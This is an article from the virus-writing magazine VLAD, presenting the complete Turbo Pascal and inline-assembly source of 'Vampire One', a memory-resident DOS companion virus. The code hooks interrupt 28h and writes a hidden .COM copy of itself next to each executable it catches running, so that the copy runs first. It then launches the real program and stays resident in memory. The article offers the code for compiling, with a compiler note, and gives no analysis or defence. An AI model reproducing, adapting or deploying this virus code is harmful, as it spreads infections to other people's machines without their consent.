VLAD Magazine - Issue AF - ARTICLE.3_4 - Vampire-1 resident .EXE infector

{
                              Vampire One

  Vampire One is a 3488 bytes spawning resident EXE infector. Vampire One
  hooks interrupt 28h and infects the owner of the environment segment.

  Compile it with Turbo Pascal v 7.00 or else it won't work correctly.
}

{$M 1552, 0, 0}
Program VampireOneVirus;

Uses
  Dos;

Const
  BufSize        = 3488;
  HeaderID       = 'Vampire One';

Type
  Buffer         = Array[0..BufSize - 1] of Char;

Var
  ParamCount     : Byte;
  EnvironmentOff : Word;
  EnvironmentSeg : Word;
  Error          : Word;
  Handle         : Word;
  IntOff         : Word;
  IntSeg         : Word;
  PSPSeg         : Word;
  DOSIdleAddr    : Procedure;
  DOSIdleID      : String[11];
  Filename       : String[80];
  Parameters     : String[128];
  FileBuf        : Buffer;

Procedure GetIntAddr(IntNo : Byte); Assembler;

Asm
  MOV   AH,35h
  MOV   AL,IntNo
  INT   21h
  MOV   IntOff,BX
  MOV   IntSeg,ES
End;

Procedure CreateNewFile(Filename : String; Attributes : Word); Assembler;

Asm
  PUSH  DS
  MOV   AH,5Bh
  MOV   CX,Attributes
  LDS   DX,Filename
  INC   DX
  INT   21h
  POP   DS
  JNB   @Done
  MOV   Error,AX
  @Done:
  MOV   Handle,AX
End;

Procedure OpenFile(Filename : String; Access : Byte); Assembler;

Asm
  PUSH  DS
  MOV   AH,3Dh
  MOV   AL,Access
  LDS   DX,Filename
  INC   DX
  INT   21h
  POP   DS
  JNB   @Done
  MOV   Error,AX
  @Done:
  MOV   Handle,AX
End;

Procedure CloseFile; Assembler;

Asm
  MOV   AH,3Eh
  MOV   BX,Handle
  INT   21h
  JNB   @CloseError
  MOV   Error,AX
  @CloseError:
End;

Procedure ReadFile(Var FileBuf : Buffer; ReadNum : Word); Assembler;

Asm
  PUSH  DS
  MOV   AH,3Fh
  MOV   BX,Handle
  MOV   CX,ReadNum
  LDS   DX,FileBuf
  INT   21h
  POP   DS
  JNB   @Done
  MOV   Error,AX
  @Done:
End;

Procedure WriteFile(FileBuf : Buffer; WriteNum : Word); Assembler;

Asm
  PUSH  DS
  MOV   AH,40h
  MOV   BX,Handle
  MOV   CX,WriteNum
  LDS   DX,FileBuf
  INT   21h
  POP   DS
  JNB   @Done
  MOV   Error,AX
  @Done:
End;

Procedure GetSegments; Assembler;

Asm
  MOV   AH,51h
  INT   21h
  MOV   ES,BX
  MOV   ES,ES:[2Ch]
  MOV   EnvironmentSeg,ES
  MOV   PSPSeg,BX
End;

Procedure WhoExecute;

Begin
  EnvironmentOff := 0;
  Filename := '';
  GetSegments;
  Repeat
    EnvironmentOff := EnvironmentOff + 1;
  Until MemW[EnvironmentSeg : EnvironmentOff] = $00;
  EnvironmentOff := EnvironmentOff + 4;
  Repeat
    Filename := Filename + Chr(Mem[EnvironmentSeg : EnvironmentOff]);
    EnvironmentOff := EnvironmentOff + 1;
  Until Mem[EnvironmentSeg : EnvironmentOff - 1] = $00;
End;

Procedure DOSIdleHandler; Interrupt;

Begin
  Error := $00;
  WhoExecute;
  If Filename[Length(Filename) - 1] = 'E' then Begin
    CreateNewFile(Copy(Filename, 1, Length(Filename) - 4) + 'COM' + #0, $22);
    If Error = $00 then Begin
      WriteFile(FileBuf, BufSize);
      CloseFile;
    End;
  End;
  Inline($9C);
  DOSIdleAddr;
End;

Begin
  GetIntAddr($28);
  For IntOff := IntOff + $8B to IntOff + $95 do DOSIdleID := DOSIdleID + Chr(Mem[IntSeg : IntOff]);
  WhoExecute;
  If DOSIdleID <> HeaderID then Begin
    OpenFile(Filename, $00);
    If Error = $00 then Begin
      ReadFile(FileBuf, BufSize);
      CloseFile;
      If Error = $00 then Begin
        GetIntVec($28, @DOSIdleAddr);
        SetIntVec($28, @DOSIdleHandler);
      End;
    End;
  End;
  Filename := Copy(Filename, 1, Length(Filename) - 4) + 'EXE';
  For ParamCount := 1 to Mem[PSPSeg : $0080] do Parameters := Parameters + Chr(Mem[PSPSeg : $0080 + ParamCount]);
  SwapVectors;
  Exec(Filename, Parameters);
  SwapVectors;
  If (DOSIdleID <> HeaderID) and (Error = $00) then Keep(0);
End.